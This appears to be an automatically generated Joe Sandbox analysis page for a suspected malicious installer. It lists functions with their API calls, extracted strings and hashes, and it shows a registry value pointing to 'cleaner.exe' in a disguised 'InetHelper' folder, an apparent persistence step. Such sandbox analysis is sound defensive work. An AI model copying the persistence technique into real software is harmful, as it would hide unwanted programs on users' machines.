Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"$InetHelper
API String ID: 1941528284-4078307097
Opcode ID: 09b218e5e7aa004988234aef99607d2b4dfa3534dd7724c6f1d49ddbe7db769c
Instruction ID: ededab686cc318fc7e7b90f4c09e4a826d398c1608d56966c744d50d12e1e378
Opcode Fuzzy Hash: 09b218e5e7aa004988234aef99607d2b4dfa3534dd7724c6f1d49ddbe7db769c
Instruction Fuzzy Hash: 4841B571900518BADF107BA5CD85DAF3679EF4532DB20423FF416B10E2DB3C8A929A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004032DE Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(006F3A2A,00000000,00000000,004266D0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Strings

*:o, xrefs: 004032E1, 004033FE
timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this, xrefs: 00403337, 004033D2
5=B, xrefs: 004033AE, 004033C7
HA, xrefs: 004033A9

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: *:o$5=B$HA$timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this
API String ID: 1092082344-71510955
Opcode ID: d6b178faf7be8bed1ce1700d2338eadcdcd7a4db5cb59746dbf71c5feed9a6d3
Instruction ID: fd4332e341476289c3f76e81f79fa789cc737db0b0adfb813ccc5192894bdc6c
Opcode Fuzzy Hash: d6b178faf7be8bed1ce1700d2338eadcdcd7a4db5cb59746dbf71c5feed9a6d3
Instruction Fuzzy Hash: C231B171600211DBC7209F26FE8496A3BA8F7643567C9423BEC40B62E0CB385D11DB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Uniqueness

Uniqueness Score: -1.00%

Function 00406943 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this, xrefs: 00406943

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID:
String ID: timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this
API String ID: 0-1897978588
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00402598 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WideCharToMultiByte.KERNEL32(?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",000000FF,0040E5D8,00002000,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(0040E5D8,?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",000000FF,0040E5D8,00002000,?,?,00000021), ref: 004025F3

Strings

"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 004025E1

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
API String ID: 3109718747-1638566638
Opcode ID: 79fe6349def6cc650f231a14f4b83c981983240ca263c31f9bdf3a4ba712873e
Instruction ID: 8a54b08748082a87d090de781de000be55bd47bcbf4860f745c9e519e4ad5c94
Opcode Fuzzy Hash: 79fe6349def6cc650f231a14f4b83c981983240ca263c31f9bdf3a4ba712873e
Instruction Fuzzy Hash: 66110872A05201BADB146BF18E8DA9F7664AF44398F20483BF502F21D1DDFC89815B5D

Uniqueness

Uniqueness Score: -1.00%

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000000,00000011,00000002), ref: 0040246F
RegCloseKey.ADVAPI32(?,?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000000,00000011,00000002), ref: 00402557

Strings

"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
API String ID: 2655323295-1638566638
Opcode ID: 25f827e3e11746b9e5ee3687016ce8942fde3681089ea3dd2e236ad5f1a11635
Instruction ID: a6a83690551736ab877e244042d38f3be3a1a43997e1cd9886aee1f7f0d2369c
Opcode Fuzzy Hash: 25f827e3e11746b9e5ee3687016ce8942fde3681089ea3dd2e236ad5f1a11635
Instruction Fuzzy Hash: 10118471D00104BEEB10AFA5DE89EAEBB74AB44714F11803BF504F71D1DAF88D819B18

Uniqueness

Uniqueness Score: -1.00%

Function 004031D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Strings

*:o, xrefs: 004031F0, 00403290, 004032D0

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: FilePointer
String ID: *:o
API String ID: 973152223-843036820
Opcode ID: 0cc0faf384b4c78b6fdc9eeda5bbee131a155eebafb64ec0174871a4b91cb037
Instruction ID: 354a74280fc320ddcd1a03d564711161fa861bb1e5dc1acee3c93741f06a9d18
Opcode Fuzzy Hash: 0cc0faf384b4c78b6fdc9eeda5bbee131a155eebafb64ec0174871a4b91cb037
Instruction Fuzzy Hash: AB316B30200219BBDB109F95ED44A9A3E68EB04759F20417EF904E61D0D7389E51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,004C1000,004034A3,004D1000,004D5000,004D5000,004D5000,004D5000,004D5000,74DF3420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Uniqueness

Uniqueness Score: -1.00%

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0045E730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 8941ac05e4937e204e88b6b93cbbbbf1e6cab01e5c2f1d465c17e9c6e72d0440
Instruction ID: 7eb9064dadea35cbfc58acd36067de01cdd5d52a4e03f37d51203587584f4729
Opcode Fuzzy Hash: 8941ac05e4937e204e88b6b93cbbbbf1e6cab01e5c2f1d465c17e9c6e72d0440
Instruction Fuzzy Hash: 86E012B0610209BFEB00AFA0ED49F7B7AACFB08204F008921BD00F2191D774A9148A68

Uniqueness

Uniqueness Score: -1.00%

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(00000000), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00004004), ref: 00401BF9

Strings

InetHelper, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Global$AllocFree
String ID: InetHelper
API String ID: 3394109436-2767297512
Opcode ID: 176a51b4a66ca6db00c120fdfff2a52918b74a80b70c450353fe484a1e272d38
Instruction ID: 2224cfe726421d4168c30344d3cbfba70e659b3895da8488867bc6a87a7a29a6
Opcode Fuzzy Hash: 176a51b4a66ca6db00c120fdfff2a52918b74a80b70c450353fe484a1e272d38
